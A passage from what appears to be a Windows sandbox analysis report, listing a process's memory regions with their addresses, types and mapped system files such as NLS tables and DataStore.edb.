region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1950 start_va = 0x1080000 end_va = 0x1081fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 1951 start_va = 0x1090000 end_va = 0x1096fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 1952 start_va = 0x10a0000 end_va = 0x10a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "newdev.dll.mui" filename = "\\Windows\\System32\\en-US\\newdev.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\newdev.dll.mui") Region: id = 1953 start_va = 0x10b0000 end_va = 0x10f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 1954 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1955 start_va = 0x1200000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1956 start_va = 0x1280000 end_va = 0x1290fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 1957 start_va = 0x12a0000 end_va = 0x12affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1958 start_va = 0x12b0000 end_va = 0x12b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 1959 start_va = 0x12c0000 end_va = 0x12d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 1960 start_va = 0x12e0000 end_va = 0x12f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 1961 start_va = 0x1300000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1962 start_va = 0x1400000 end_va = 0x1736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1963 start_va = 0x1740000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 1964 start_va = 0x1840000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001840000" filename = "" Region: id = 1965 start_va = 0x1940000 end_va = 0x19bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 1966 start_va = 0x19c0000 end_va = 0x19d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 1967 start_va = 0x19e0000 end_va = 0x19e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019e0000" filename = "" Region: id = 1968 start_va = 0x19f0000 end_va = 0x19f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1969 start_va = 0x1a00000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 1970 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1971 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1972 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 1973 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 1974 start_va = 0x1f00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1975 start_va = 0x2000000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 1976 start_va = 0x2100000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 1977 start_va = 0x2200000 end_va = 0x2210fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 1978 start_va = 0x2220000 end_va = 0x2230fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 1979 start_va = 0x2240000 end_va = 0x2267fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 1980 start_va = 0x2270000 end_va = 0x22a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 1981 start_va = 0x22b0000 end_va = 0x22c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 1982 start_va = 0x22d0000 end_va = 0x22e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 1983 start_va = 0x22f0000 end_va = 0x22f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 1984 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 1985 start_va = 0x2400000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 1986 start_va = 0x2500000 end_va = 0x25dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1987 start_va = 0x25e0000 end_va = 0x25effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1988 start_va = 0x25f0000 end_va = 0x25fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1989 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1990 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 1991 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 1992 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1993 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 1994 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 1995 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1996 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 1997 start_va = 0x2e00000 end_va = 0x2e8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 1998 start_va = 0x2e90000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 1999 start_va = 0x2f10000 end_va = 0x300ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 2000 start_va = 0x3010000 end_va = 0x310ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 2001 start_va = 0x3110000 end_va = 0x320ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003110000" filename = "" Region: id = 2002 start_va = 0x3210000 end_va = 0x3210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003210000" filename = "" Region: id = 2003 start_va = 0x3220000 end_va = 0x3226fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 2004 start_va = 0x3230000 end_va = 0x3260fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 2005 start_va = 0x3270000 end_va = 0x3271fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003270000" filename = "" Region: id = 2006 start_va = 0x3280000 end_va = 0x328ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2007 start_va = 0x3290000 end_va = 0x3296fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 2008 start_va = 0x32a0000 end_va = 0x32d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 2009 start_va = 0x32e0000 end_va = 0x32e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032e0000" filename = "" Region: id = 2010 start_va = 0x32f0000 end_va = 0x32fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 2011 start_va = 0x3300000 end_va = 0x33fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 2012 start_va = 0x3400000 end_va = 0x34fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 2013 start_va = 0x3500000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 2014 start_va = 0x3580000 end_va = 0x3586fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003580000" filename = "" Region: id = 2015 start_va = 0x3590000 end_va = 0x368ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 2016 start_va = 0x3690000 end_va = 0x369ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003690000" filename = "" Region: id = 2017 start_va = 0x36a0000 end_va = 0x36affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036a0000" filename = "" Region: id = 2018 start_va = 0x36b0000 end_va = 0x36bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036b0000" filename = "" Region: id = 2019 start_va = 0x36c0000 end_va = 0x36cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036c0000" filename = "" Region: id = 2020 start_va = 0x36d0000 end_va = 0x36dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036d0000" filename = "" Region: id = 2021 start_va = 0x36e0000 end_va = 0x36effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000036e0000" filename = "" Region: id = 2022 start_va = 0x36f0000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 2023 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 2024 start_va = 0x3800000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 2025 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 2026 start_va = 0x3a00000 end_va = 0x3a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 2027 start_va = 0x3a80000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a80000" filename = "" Region: id = 2028 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 2029 start_va = 0x3c00000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 2030 start_va = 0x3d00000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d00000" filename = "" Region: id = 2031 start_va = 0x3e00000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 2032 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 2033 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 2034 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 2035 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 2036 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 2037 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 2038 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 2039 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 2040 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 2041 start_va = 0x4800000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 2042 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 2043 start_va = 0x4a00000 end_va = 0x4a00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 2044 start_va = 0x4a10000 end_va = 0x4a10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 2045 start_va = 0x4a20000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 2046 start_va = 0x4aa0000 end_va = 0x4aa1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 2047 start_va = 0x4ab0000 end_va = 0x4ab3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ab0000" filename = "" Region: id = 2048 start_va = 0x4ac0000 end_va = 0x4ac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ac0000" filename = "" Region: id = 2049 start_va = 0x4ad0000 end_va = 0x4bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ad0000" filename = "" Region: id = 2050 start_va = 0x4bd0000 end_va = 0x4bd1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 2051 start_va = 0x4be0000 end_va = 0x4be0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004be0000" filename = "" Region: id = 2052 start_va = 0x4bf0000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bf0000" filename = "" Region: id = 2053 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 2054 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 2055 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 2056 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 2057 start_va = 0x5000000 end_va = 0x507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 2058 start_va = 0x5080000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 2059 start_va = 0x5100000 end_va = 0x51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 2060 start_va = 0x5200000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 2061 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 2062 start_va = 0x5400000 end_va = 0x540ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2063 start_va = 0x5410000 end_va = 0x541ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2064 start_va = 0x5420000 end_va = 0x542ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2065 start_va = 0x5430000 end_va = 0x543ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2066 start_va = 0x5440000 end_va = 0x544ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2067 start_va = 0x5450000 end_va = 0x545ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2068 start_va = 0x5460000 end_va = 0x546ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2069 start_va = 0x5470000 end_va = 0x547ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2070 start_va = 0x5480000 end_va = 0x548ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2071 start_va = 0x5490000 end_va = 0x549ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2072 start_va = 0x54a0000 end_va = 0x54affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2073 start_va = 0x54b0000 end_va = 0x54bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2074 start_va = 0x54c0000 end_va = 0x54cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2075 start_va = 0x54d0000 end_va = 0x54dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2076 start_va = 0x54e0000 end_va = 0x54effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2077 start_va = 0x54f0000 end_va = 0x54fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2078 start_va = 0x5500000 end_va = 0x557ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 2079 start_va = 0x5580000 end_va = 0x559ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005580000" filename = "" Region: id = 2080 start_va = 0x55a0000 end_va = 0x561ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055a0000" filename = "" Region: id = 2081 start_va = 0x5620000 end_va = 0x5624fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 2082 start_va = 0x5630000 end_va = 0x563ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 2083 start_va = 0x5640000 end_va = 0x5643fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005640000" filename = "" Region: id = 2084 start_va = 0x5650000 end_va = 0x5656fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005650000" filename = "" Region: id = 2085 start_va = 0x5660000 end_va = 0x575ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005660000" filename = "" Region: id = 2086 start_va = 0x5760000 end_va = 0x585ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005760000" filename = "" Region: id = 2087 start_va = 0x5860000 end_va = 0x58dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005860000" filename = "" Region: id = 2088 start_va = 0x58e0000 end_va = 0x58e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058e0000" filename = "" Region: id = 2089 start_va = 0x58f0000 end_va = 0x58fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2090 start_va = 0x5900000 end_va = 0x59fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 2091 start_va = 0x5a00000 end_va = 0x5a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 2092 start_va = 0x5a80000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a80000" filename = "" Region: id = 2093 start_va = 0x5b80000 end_va = 0x5c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b80000" filename = "" Region: id = 2094 start_va = 0x5c80000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 2095 start_va = 0x5d00000 end_va = 0x5dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 2096 start_va = 0x5e00000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 2097 start_va = 0x5f00000 end_va = 0x5f0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2098 start_va = 0x5f10000 end_va = 0x5f1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2099 start_va = 0x5f20000 end_va = 0x5f2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2100 start_va = 0x5f30000 end_va = 0x5f3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2101 start_va = 0x5f40000 end_va = 0x5f4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2102 start_va = 0x5f50000 end_va = 0x5f5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2103 start_va = 0x5f60000 end_va = 0x5f6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2104 start_va = 0x5f70000 end_va = 0x5f7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2105 start_va = 0x5f80000 end_va = 0x5f8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2106 start_va = 0x5f90000 end_va = 0x5f9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2107 start_va = 0x5fa0000 end_va = 0x5faffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2108 start_va = 0x5fb0000 end_va = 0x5fbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = 